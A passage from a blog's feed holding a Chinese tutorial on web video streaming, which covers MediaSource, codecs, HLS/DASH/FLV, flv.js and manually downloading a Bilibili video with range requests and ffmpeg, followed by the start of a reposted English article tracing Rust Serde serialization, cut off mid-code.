stop-color=&quot;#672BFF&quot;&gt;&lt;&#x2F;stop&gt;&lt;stop data-v-159ebe90=&quot;&quot; offset=&quot;0.9999&quot; stop-color=&quot;#0066FF&quot;&gt;&lt;&#x2F;stop&gt;&lt;&#x2F;radialGradient&gt;&lt;&#x2F;defs&gt;&lt;&#x2F;svg&gt;&lt;p&gt;&lt;span data-v-159ebe90=&quot;&quot; class=&quot;txt&quot;&gt;代码解读&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;&#x2F;div&gt;&lt;p&gt;复制代码&lt;&#x2F;p&gt;&lt;&#x2F;div&gt;&lt;&#x2F;div&gt;&lt;code class=&quot;hljs language-js code-block-extension-codeShowNum&quot; lang=&quot;js&quot;&gt;&lt;span class=&quot;code-block-extension-codeLine&quot; data-line-num=&quot;1&quot;&gt;&#x2F;&#x2F; blob:https:&#x2F;&#x2F;www.youtube.com&#x2F;250d7dd2-a387-4024-9325-ed4842c5c3d0&lt;&#x2F;span&gt;
&lt;span class=&quot;code-block-extension-codeLine&quot; data-line-num=&quot;2&quot;&gt;const objectURL = URL.createObjectURL(object)&lt;&#x2F;span&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的&lt;code&gt;object&lt;&#x2F;code&gt;参数可以为：&lt;code&gt;File&lt;&#x2F;code&gt;,&lt;code&gt;Blob&lt;&#x2F;code&gt;,或者&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;MediaSource&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FMediaSource&quot;&gt;MediaSource&lt;&#x2F;a&gt;(&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;MediaSource#browser_compatibility&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FMediaSource%23browser_compatibility&quot;&gt;然而IOS不支持，后面我们会看下IOS上这些网站一般怎么处理&lt;&#x2F;a&gt;),
对于流媒体播放来说这里通过&lt;code&gt;MediaSource&lt;&#x2F;code&gt;(MediaSource Extension API)来创建Object URL。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-pin-rong-qi-ge-shi-shi-pin-bian-ma&quot;&gt;视频容器格式、视频编码&lt;&#x2F;h2&gt;
&lt;p&gt;了解了基本的创建方式之后，我觉得我们还是先回顾下视频的基础知识，有助于我们后面对于不同浏览器需要采用不同的流媒体格式的理解，简单来说视频容器格式就是我们平时看到的视频文件的后缀名如&lt;code&gt;.mp4&lt;&#x2F;code&gt;, &lt;code&gt;.mov&lt;&#x2F;code&gt;, &lt;code&gt;.mkv&lt;&#x2F;code&gt;等这些格式，说白了就是不同形式的盒子，至于里面装了什么取决于编码的不同，常见的如&lt;code&gt;h.264(AVC)&lt;&#x2F;code&gt;, &lt;code&gt;h.265(HEVC)&lt;&#x2F;code&gt;, &lt;code&gt;vp9&lt;&#x2F;code&gt;, &lt;code&gt;av1&lt;&#x2F;code&gt;等，h.264应该是目前用的最多的视频编码，当然除了视频编码还有对应的音频编码如&lt;code&gt;AAC&lt;&#x2F;code&gt;, 对应前面的&lt;code&gt;AVC&lt;&#x2F;code&gt;视频编码，同属于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;MPEG-4&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FMPEG-4&quot;&gt;MPEG-4&lt;&#x2F;a&gt;下面, 更多的视频格式及编码可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Media&#x2F;Formats&#x2F;Video_codecs&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FMedia%2FFormats%2FVideo_codecs&quot;&gt;这个MDN地址&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这里插入一个Mac上Safari无法播放油管4K视频的🌰(当然这个问题已在macOS 11 big sur上解决😎)：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;safari-youtube-4k-codec.webp&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如上图可以看到在10.15及之前的Safari上没有选择1080P以上的清晰度，而在谷歌的亲儿子Chrome里面是没问题的，问题就出在视频的编码选择上，油管的1080P以上的如4K用的编码主要是vp8&#x2F;vp9、AV1编码(webm格式)，这些编码在之前的Safari上是不支持的，所有就没有4K的选择，但在big sur 之后苹果支持了webm的格式，这样新版的Safari也就可以播放上面的4K视频了；&lt;&#x2F;p&gt;
&lt;p&gt;还有一个反过来的现象是当你用iPhone拍的视频（默认用h.265），放到Mac上去播放，Safari当然没问题，但是在Chrome里就放不了，那是因为Chrome还不支持h.265的视频编码，以上2中现象就是因不同的视频编码导致在不同的浏览器上兼容性不一样的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-yong-liu-mei-ti-xie-yi&quot;&gt;常用流媒体协议&lt;&#x2F;h2&gt;
&lt;p&gt;当我们用本地播放器播放一个本地几个G的视频文件时确实没啥问题，但是随着越来越多的人选择在线观看电影视频，我们不可能等浏览器下载完几G的视频后再开始播放，这样的速度简直比🐌还慢，所有就出现了流媒体协议，也就是所谓的边下边播，这样就大大提升了在线观看的体验，当然你流媒体协议不管怎么变，视频内容本身还是基于上面讲的这几种编码格式。&lt;&#x2F;p&gt;
&lt;p&gt;下面就是常见的几种流媒体协议：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;协议&lt;&#x2F;th&gt;&lt;th&gt;应用领域&lt;&#x2F;th&gt;&lt;th&gt;支持音视频编码&lt;&#x2F;th&gt;&lt;th&gt;优缺点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;HTTP-FLV&lt;&#x2F;td&gt;&lt;td&gt;直播&lt;&#x2F;td&gt;&lt;td&gt;H.264 + AAC &#x2F; MP3等&lt;&#x2F;td&gt;&lt;td&gt;延迟低&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;HLS&lt;&#x2F;td&gt;&lt;td&gt;直播&#x2F;点播(自适应比特流)&lt;&#x2F;td&gt;&lt;td&gt;H.265, H.264 + AAC, MP3, Apple Lossless, FLAC...&lt;&#x2F;td&gt;&lt;td&gt;Apple搞的协议，兼容性好，延迟高（通过&lt;code&gt;Low Latency HLS&lt;&#x2F;code&gt;解决）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MPEG-DASH&lt;&#x2F;td&gt;&lt;td&gt;直播&#x2F;点播(自适应比特流)&lt;&#x2F;td&gt;&lt;td&gt;不限编码&lt;&#x2F;td&gt;&lt;td&gt;国际标准，对标苹果的HLS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;RTMP&lt;&#x2F;td&gt;&lt;td&gt;目前主要推流端&lt;&#x2F;td&gt;&lt;td&gt;H.264, VP8 等&lt;&#x2F;td&gt;&lt;td&gt;带宽消耗低，延迟低，浏览器播放需要Flash&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;首先回顾下历史，当年乔布斯决定把Flash干掉后，到现在Flash在浏览器里面基本已经没有存在的必要了，但是随Flash一起诞生的flv容器格式在浏览器里似乎还活的有滋有味，当然也要归功于B站开源的&lt;code&gt;flv.js&lt;&#x2F;code&gt;，即使浏览器里没有了Flash, 我们通过flv.js还是能够正常播放flv容器格式的视频内容，flv在国内网站直播中用的还是很多的，也主要是觉得http-flv的低延迟还是很有优势的。 HLS(Http Live Streming)，苹果搞的协议，苹果说&lt;code&gt;既然我们遵循乔帮主的思想不再支持Flash，那总得再造个轮子搞流媒体播放吧，我们呢也不想造太底层的轮子，还是基于http来吧，毕竟http服务已经很成熟了，而且兼容性不要太好&lt;&#x2F;code&gt;,然后就诞生了HLS流媒体协议，依托于iphone的使用量，HLS在流媒体当中的占有率还是相当高的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;streaming-protocol-market-share.webp&quot; alt=&quot;protocal-share.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;跟HLS相对应的MPEG-DASH（还是那个MPEG组织），MPEG想&lt;code&gt;苹果你怎么老是喜欢自己造轮子，又不开源，哎，算了，为了不被你垄断，我们还是很有必要搞一个跟HLS类似的开源流媒体协议出来&lt;&#x2F;code&gt;，然后MPEG-DASH就出来了，从上图看起来占有率似乎还不是很高，但是毕竟开源，各个视频大厂门都已经在用了包括国内的B站，国外的油管、网飞等，未来可期。&lt;&#x2F;p&gt;
&lt;p&gt;上面的表中说明了HLS, MPEG-DASH支持自适应比特流，简单来说就是对于这2种流媒体协议来说，一个源视频文件会根据需要支持的不同分辨率，切割成不同的一个个小的视频文件，一般在几百K到小几M之间，这样的话当网络速度变化的时候就可以快速切到满足当前网速的分辨率上对应的切片文件了，可以做到保证播放流畅度的时候无缝切换，大大提升用户体验，可以看下图感受下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;adaptive-bitrate-stream-demo.webp&quot; alt=&quot;abs-demo.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhi-bo-lian-lu&quot;&gt;直播链路&lt;&#x2F;h2&gt;
&lt;p&gt;HLS, MPEG-DASH主要用于点播，你在B站看up主视频，去爱优酷腾看个电视剧，这些都是点播，也就是所有的视频都提前进行了转码，生成了不同的分辨率，及选择HLS或DASH后生成了对应的切片文件；那在直播的情况下又是怎样呢，其实在用户端观看时基本差不多，主要区别在于推流端，点播情况下主要是用户上传视频，然后视频云进行转码等操作，那直播相当于是边录制边上传的过程，视频来源可��是摄像机，电脑摄像头，当然现在最简单的直播就是直接用手机app开个直播，基本类似于视频会议的感觉。&lt;&#x2F;p&gt;
&lt;p&gt;以下找了张图说明了直播的整个流程：首先在推流端，也就是主播那边，主播可能通过电脑上的软件（常用的如开源的OBS），打开摄像头，设置好推流连接、协议，现在用的比较多的是RTMP，也是Flash那时候的产物，没有了Flash, RTMP在浏览器端就基本没法用了，但是在推流端还是被广泛的使用着，可以回看下上面占有率的图，RTMP还有1&#x2F;3主要的占有率，当主播的视频信息通过推流协议推送到平台的云端服务器后，会实时的进行转码转格式的操作，转完后实时推送到CDN上，然后利用CDN的速度，区域性，用户端就可以以更小的延迟观看直播了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;live-streaming-pipeline.webp&quot; alt=&quot;live-streaming.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;flash-video-flvwen-jian-flvjs&quot;&gt;Flash Video(.flv文件) + flvjs&lt;&#x2F;h2&gt;
&lt;p&gt;上面提到了flv格式的视频至少在国内还是在被大量的使用，如果去看下直播页面的网络请求的话，有很多都是以.flv结尾的请求，包括B站的直播（当然也不是全部），在主播的直播页面里可以看到:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;live-page-flv-requests.webp&quot; alt=&quot;live-flv.png&quot; &#x2F;&gt; 爱奇艺里的主播直播也是flv， 甚至在头条app里的一些直播，如果你去抓包的话也会发现很多flv，所有这些用flv作直播的情况只要在浏览器里面基本都是用的&lt;code&gt;flv.js&lt;&#x2F;code&gt;来处理的，所以下面我们不妨看一看flv.js大致的工作流程，先上图（取自flv.js官方github）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;flvjs-workflow-diagram.webp&quot; alt=&quot;flvjs.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当我们进入直播页面时，flvplayer就要先去请求.flv的地址了，首先会通过IO Loaders里的根据当前浏览器选择合适的loader去加载视频数据，我们看上图的直播地址(network里的type是fetch)，应该用的是&lt;code&gt;FetchStreamLoader&lt;&#x2F;code&gt;, 因为fetch支持stream, 可以一块一块的获取数据，每当拿到一块完整的数据后，会经过&lt;code&gt;FlvDemuxer&lt;&#x2F;code&gt;处理，也就是把flv容器格式解开，拿到里面原始的AVC&#x2F;AAC音视频数据，然后通过&lt;code&gt;MP4Remuxer&lt;&#x2F;code&gt;重新封装成合法的mp4格式，向上传给&lt;code&gt;Transmuxer&lt;&#x2F;code&gt;，通过浏览器自带的&lt;code&gt;MediaSource&lt;&#x2F;code&gt;喂给video标签，然后就可以播放flv格式的视频了。&lt;&#x2F;p&gt;
&lt;p&gt;所以如果浏览器不支持MediaSource， flv.js也就没有用了，在本文的开始说了iOS不支持MediaSource（iPad倒是支持🤪, 这里仅指iPhone）, 也就是flv.js在ios的safari里是用不了的，因此我们如果在ios的safari里打开bilibili.com, 会发现它是直接用了一个MP4的地址，没走blob连接，类似下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;bilibili-ios-mp4-player.webp&quot; alt=&quot;bili-ios-player.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;再看看爱奇艺的情况，因为爱奇艺的播放主要基于HLS, 所以在ios端也可以完美的运用hls协议:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;iqiyi-ios-hls-m3u8.webp&quot; alt=&quot;iqiyi.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到手机端H5上爱奇艺直接用的&lt;code&gt;.m3u8&lt;&#x2F;code&gt;的地址（当然不管是直接MP4, 还是原始hls, 他们在H5上的核心逻辑就是想尽各种办法让你下载或者跳到app里去🤪），m3u8是HLS协议的入口文件，就是个文本文件，通过这个文件系统可以去获取视频的各个切片文件，由于是苹果搞的协议，所有m3u8格式的文本文件可以直接扔到video的src标签上，safari可以做到原生支持（不需要额外的hls.js处理）,有兴趣的同学可以把这个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;cdn.jwplayer.com&#x2F;manifests&#x2F;l3Hde9mU.m3u8&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fcdn.jwplayer.com%2Fmanifests%2Fl3Hde9mU.m3u8&quot;&gt;m3u8地址&lt;&#x2F;a&gt;直接扔到Mac上的safari地址栏里，他会直接开始播放了，但是放到chrome就直接提示你下载这个文件，因为原生不支持，除非你安装了HLS的插件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sheng-cheng-fu-he-hls-mpeg-dashde-gong-ju-ji-qian-duan-bo-fang-qi&quot;&gt;生成符合HLS、MPEG-DASH的工具及前端播放器&lt;&#x2F;h2&gt;
&lt;p&gt;扯了这么多，那我们怎么自己能够把一个电影文件，生成支持这些流媒体协议的切片文件呢，当然已经有现成的各种工具了，以及我们前端能够用来播放这些流媒体文件的库了，这里就简单的列举下，怎么用也就是看这些文档的事情了😇&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;协议&lt;&#x2F;th&gt;&lt;th&gt;命令行工具&lt;&#x2F;th&gt;&lt;th&gt;支持的播放器&#x2F;JS库&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;HTTP-FLV&lt;&#x2F;td&gt;&lt;td&gt;FFmpeg&lt;&#x2F;td&gt;&lt;td&gt;flv.js&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;HLS&lt;&#x2F;td&gt;&lt;td&gt;Apple HTTP Live Streaming tools;&lt;br &#x2F;&gt;FFmpeg;&lt;br &#x2F;&gt;Shaka Packager by Google;&lt;br &#x2F;&gt;mp4box by GPAC;&lt;br &#x2F;&gt;Bento4&lt;&#x2F;td&gt;&lt;td&gt;hls.js, video.js, shaka-player&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MPEG-DASH&lt;&#x2F;td&gt;&lt;td&gt;FFmpeg;&lt;br &#x2F;&gt;Shaka Packager by Google;&lt;br &#x2F;&gt;mp4box by GPAC;&lt;br &#x2F;&gt;Bento4&lt;&#x2F;td&gt;&lt;td&gt;dash.js, video.js, shaka-player&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;bonus-shou-dong-xia-zai-ge-bilibilishi-pin-ba&quot;&gt;Bonus: 手动下载个Bilibili视频吧&lt;&#x2F;h2&gt;
&lt;p&gt;最后我们就来动动🖐吧，我们已经知道B站用的流媒体协议是MPEG-Dash, 而dash正常来说用的入口文件时以&lt;code&gt;.mpd&lt;&#x2F;code&gt;结尾的xml文件(类似HLS的m3u8文件)，但是我们发现在浏览器的网络请求里压根没有mpd的请求，然后经过一番查找，发现他是把dash相关的数据直接都扔到了html里，大家可以点开一个视频页面，右键查看源代码，搜索&lt;code&gt;dash&lt;&#x2F;code&gt;，就可以发现类似下图所示的JS对象，里面的dash字段包含了视频的链接，各个支持的分辨率等信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;bilibili-dash-js-object.webp&quot; alt=&quot;source-dash.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上图中我们还可以发现单独&lt;code&gt;video&lt;&#x2F;code&gt;, &lt;code&gt;audio&lt;&#x2F;code&gt;字段，也就他把视频和音频数据给拆开了，会用单独的url去加载，这样做的好处是音视频互相独立，当我们切换较低分辨率的时候，我们可以依然请求较高质量的音频数据，避免因为分辨率调低，音质也降低了。&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们直接看浏览器里的Network请求, 用&lt;code&gt;m4s&lt;&#x2F;code&gt;过滤下, m4s是dash的切片文件后缀名，但是其内容其实就是mp4的部分内容，理论上来说只要把所有的m4s切片合成一个mp4，就可以播放了，不需要额外处理。我们这里看下图左边请求列表里，主要有2个path，&lt;code&gt;xxx-30112.m4s&lt;&#x2F;code&gt;和&lt;code&gt;xxx-30280.m4s&lt;&#x2F;code&gt;，可以大致猜出来一个是视频一个是音频，然后我们分别复制他们对应的curl连接&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;dash-m4s-range-request.webp&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;再看下图我们可以发现对于视频文件来说，他并不是切成了不同的文件名，而是以Header里的&lt;code&gt;Range&lt;&#x2F;code&gt;头来获取文件的不同部分, 我们通过response里的Content-Range可以知道当前文件的总大小，在&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;后面的数字，这里我们就可以投机取巧下，不用单独下载所有的切片，直接把上面copy的curl请求里的Range改成&lt;code&gt;0-181545880&lt;&#x2F;code&gt;，这里结束处需要减1，因为是从0开始。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;curl-range-header-insomnia.webp&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后我们把刚才的curl可以放到命令行，或者其他发请求的工具上，这里我们用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;insomnia.rest&#x2F;&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Finsomnia.rest%2F&quot;&gt;Insomnic&lt;&#x2F;a&gt;为例，你可以把curl直接粘贴进去，他可以自动转化,然后把Range调整下，发送请求，把response原始数据保存下来为mp4文件（音频也做同样的操作） ：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;insomnia-range-download-mp4.webp&quot; alt=&quot;dl-video.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当音视频全部下完后，你其实已经可以单独播放这2个文件了，只是一个只有视频信息，一个只有音频信息，有些播放器可以直接导入音频（列如iina），你都不需要合并了，当然这里为了完整性，我们还是借助ffmpeg把音视频文件合并成一个完整的MP4文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ffmpeg -i video.mp4 -i audio.mp4 -c:v copy -c:a copy output.mp4

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样最后出来的&lt;code&gt;output.mp4&lt;&#x2F;code&gt;就可以直接播放了🎉，这样我们就完成了一个手动下载流媒体视频的过程，给自己👏下吧！！！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;以上就是对前端流媒体播放的基本介绍，我们通过一些实际的例子，及在不同视频网站上看到的一些不同的处理，对前端视频相关的知识有了入门的理解，希望大家通过本文能够做到入门，甚至能够入了前端流媒体的坑，有兴趣的同学可以再做深入的研究💪。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Understanding Serde</title>
        <published>2024-07-18T00:00:00+00:00</published>
        <updated>2024-07-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/understanding-serde/"/>
        <id>https://vercel.juzhong.asia/obsidian/understanding-serde/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/understanding-serde/">&lt;h1 id=&quot;understanding-serde&quot;&gt;Understanding Serde&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.joshmcguigan.com&#x2F;blog&#x2F;understanding-serde&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.joshmcguigan.com&#x2F;blog&#x2F;understanding-serde&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;understanding-serde-1&quot;&gt;Understanding Serde&lt;&#x2F;h2&gt;
&lt;p&gt;Serde is one of the most popular Rust crates, and deservedly so. If you aren&#x27;t familiar, Serde describes itself as &quot;a framework for serializing and deserializing Rust data structures efficiently and generically.&quot; What is most impressive to me is how robust the Serde data model has proven to be, allowing it to support human readable protocols like JSON and YAML, but also binary formats like Bincode. Its really a bonus that Serde does this while remaining exceptionally performant.&lt;&#x2F;p&gt;
&lt;p&gt;This blog posts dives into how Serde (along with the ecosystem of Serde data formats) is able to pull this off. To limit the scope of this post I am going to focus on Serde serialization to JSON, and skip any discussion of deserialization. If you are interested in deserialization (or a different data format) I believe you will be able to perform a similar analysis yourself after reading this post.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-serde-data-model&quot;&gt;The Serde Data Model&lt;&#x2F;h2&gt;
&lt;p&gt;One of the things I like to do when I am first trying to reason about a new library is to think about how I might go about implementing it. Sometimes the method I think up is reasonably close, and other times I miss the mark fundamentally. This was a case of the latter, but I think it is educational to present anyway.&lt;&#x2F;p&gt;
&lt;p&gt;After reading about the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;serde.rs&#x2F;data-model.html&quot;&gt;Serde data model&lt;&#x2F;a&gt;, which is described as &quot;the API by which data structures and data formats interact&quot;, I was developing roughly the following mental model of how Serde might work.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Rust structure
  ↓
  -- Serialize --&amp;gt; Structure in terms of the Serde data model
  ↓
  -- Data format (JSON&amp;#x2F;Bincode&amp;#x2F;etc) --&amp;gt; Convert the Serde data model to the output format
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I&#x27;ve included some real Serde example code below, to set some context before diving deeper into how I thought this might be implemented.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use serde::{Serialize, Deserialize};

#[derive(Serialize, Deserialize, Debug)]
struct Point {
    x: i32,
    y: i32,
}

fn main() {
    let point = Point { x: 1, y: 2 };

    &amp;#x2F;&amp;#x2F; Convert the Point to a JSON string.
    let serialized = serde_json::to_string(&amp;amp;point).unwrap();

    &amp;#x2F;&amp;#x2F; Prints serialized = {&amp;quot;x&amp;quot;:1,&amp;quot;y&amp;quot;:2}
    println!(&amp;quot;serialized = {}&amp;quot;, serialized);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Mapping my mental model to this example, I expected &lt;code&gt;#[derive(Serialize)]&lt;&#x2F;code&gt; would output some code like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl Serialize for Point {
	fn serialize(&amp;amp;self) -&amp;gt; SerdeDataModel {
		...
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then I expected &lt;code&gt;serde_json::to_string&lt;&#x2F;code&gt; to look roughly like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn to_string&amp;lt;T&amp;gt;(input: T) -&amp;gt; String
	where T: Serialize
{
	let serde_data_model = input.serialize();

	let mut output = String::new();

	&amp;#x2F;&amp;#x2F; code which traverses the Serde data model
	&amp;#x2F;&amp;#x2F; representation and builds the JSON
	for elem in serde_data_model {
		match elem {
			struct(content) =&amp;gt; &amp;#x2F;&amp;#x2F;.. serialize the struct into JSON
			_ =&amp;gt; &amp;#x2F;&amp;#x2F; handle all other types in the Serde data model
		}
	}

	output
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I was starting to feel comfortable with this idea, so I dove into the source to see how close I was. I wanted to start by finding the definition of the Serde data model, which I expected would be a large enum. As you can probably guess, I was not able to find that enum because it doesn&#x27;t actually exist.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;into-the-code&quot;&gt;Into the Code&lt;&#x2F;h2&gt;
&lt;p&gt;Unable to confirm my suspicions about how Serde might work, I did try to peek through the code a bit to see if things would start making sense. But the Serde code base makes heavy use of generics (for good reason) and jumps rapidly between the Serde crate, the Serde data format crate, and code generated by the Serde derive macros, so I had a hard time making sense of it. At that time I moved to my second technique for understanding library code: pick an entry point into the library that I am familiar with as a user, and trace a code path through the library starting at that entry point.&lt;&#x2F;p&gt;
&lt;p&gt;Sticking with the example above, lets start with &lt;code&gt;serde_json::to_string&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;serde-rs&amp;#x2F;json&amp;#x2F;blob&amp;#x2F;10132f800fd1223ac698fa8c41b201dca152c413&amp;#x2F;src&amp;#x2F;ser.rs
&amp;#x2F;&amp;#x2F; crate: serde_json

pub fn to_writer&amp;lt;W, T: ?Sized&amp;gt;(writer: W, value: &amp;amp;T) -&amp;gt; Result&amp;lt;()&amp;gt;
where
    W: io::Write,
    T: Serialize,
{
    let mut ser = Serializer::new(writer);
    try!(value.serialize(&amp;amp;mut ser));
    Ok(())
}

pub fn to_vec&amp;lt;T: ?Sized&amp;gt;(value: &amp;amp;T) -&amp;gt; Result&amp;lt;Vec&amp;lt;u8&amp;gt;&amp;gt;
where
    T: Serialize,
{
    let mut writer = Vec::with_capacity(128);
    try!(to_writer(&amp;amp;mut writer, value));
    Ok(writer)
}

pub fn to_string&amp;lt;T: ?Sized&amp;gt;(value: &amp;amp;T) -&amp;gt; Result&amp;lt;String&amp;gt;
where
    T: Serialize,
{
    let vec = try!(to_vec(value));
    let string = unsafe {
        &amp;#x2F;&amp;#x2F; We do not emit invalid UTF-8.
